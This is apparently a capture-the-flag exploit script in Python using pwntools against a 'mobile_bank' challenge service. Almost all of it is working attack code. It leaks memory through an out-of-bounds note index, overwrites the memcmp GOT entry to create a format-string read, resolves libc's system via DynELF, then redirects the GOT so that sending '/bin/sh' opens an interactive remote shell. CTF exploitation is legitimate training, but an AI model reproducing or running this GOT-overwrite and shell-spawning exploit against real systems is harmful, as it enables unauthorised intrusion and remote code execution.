|
#!/usr/bin/env python |
|
# coding=utf8 |
|
|
|
from pwn import remote, context, p32, DynELF, ELF, u32, info |
|
import ctypes |
|
|
|
#context.log_level = 'debug' |
|
|
|
p = remote('pwn-04.v7frkwrfyhsjtbpfcppnu.ctfz.one', 1337) |
|
|
|
def set_id(note_id): |
|
p.sendlineafter('choice: ', '2') |
|
p.sendlineafter('id: ', str(note_id)) |
|
|
|
def set_note(note_id, content): |
|
set_id(note_id) |
|
p.sendlineafter('choice: ', '3') |
|
p.sendlineafter('note: ', content) |
|
|
|
def trade(note_id, value): |
|
set_id(note_id) |
|
p.sendlineafter('choice: ', '4') |
|
p.sendlineafter('value: ', str(value)) |
|
|
|
def enable_debug(pwd): |
|
p.sendlineafter('choice: ', '6') |
|
p.sendlineafter('password: ', pwd) |
|
|
|
def _leak(adr): |
|
fsb_payload = "|%7$s|aa" + p32(adr) |
|
enable_debug(fsb_payload) |
|
r = p.recvuntil('|aa') |
|
data = r.split('|')[1] |
|
return data + '\x00' |
|
|
|
def leak(adr): |
|
info('leak: 0x%08x', adr) |
|
data = _leak(adr) |
|
while len(data) < 4: |
|
data += _leak(adr + len(data)) |
|
info(' ---> %08x', u32(data[:4])) |
|
return data[:4] |
|
|
|
def _off_id_to_notes_ptr(adr): |
|
base = 0x22088 |
|
offset = adr - base |
|
if offset > 0 or offset % 8 != 0: |
|
raise |
|
return offset / 8 |
|
|
|
def weak_leak(adr): |
|
info('weak_leak: 0x%08x', adr) |
|
off_id = _off_id_to_notes_ptr(adr) |
|
set_id(off_id) |
|
# account info |
|
p.sendlineafter('choice: ', '5') |
|
p.recvuntil('value: ') |
|
value = p.recvuntil('$, ')[:-3] |
|
return p32(int(value) & 0xffffffff) |
|
|
|
def _cint32_minus(left, right): |
|
left_int = ctypes.c_int32(left) |
|
right_int = ctypes.c_int32(right) |
|
return ctypes.c_int32(left_int.value - right_int.value).value |
|
|
|
# enable_debug('whatever') |
|
printf_plt = 0x10754 |
|
memcmp_got = 0x22050 |
|
memcmp_got_value = u32(weak_leak(memcmp_got)) |
|
info('memcmp_got_value: 0x%08x', memcmp_got_value) |
|
# modify memcmp_got to printf_plt to make a Format String Bug |
|
trade(_off_id_to_notes_ptr(memcmp_got), _cint32_minus(printf_plt, memcmp_got_value)) |
|
|
|
main = 0x11284 |
|
d = DynELF(leak, main, elf=ELF('./mobile_bank')) |
|
system_libc = d.lookup('system', 'libc') |
|
info('system_libc: 0x%08x', system_libc) |
|
|
|
# system_libc = memcmp_got_value - 175752 |
|
# info('system_libc: 0x%08x', system_libc) |
|
|
|
# memcmp_got has been modifided to printf_plt(AKA 0x10754) |
|
system_off_to_printf_plt = _cint32_minus(system_libc, printf_plt) |
|
trade(_off_id_to_notes_ptr(memcmp_got), system_off_to_printf_plt) |
|
|
|
# now call memcpy again and trigger system |
|
enable_debug('/bin/sh\x00') |
|
|
|
p.interactive() |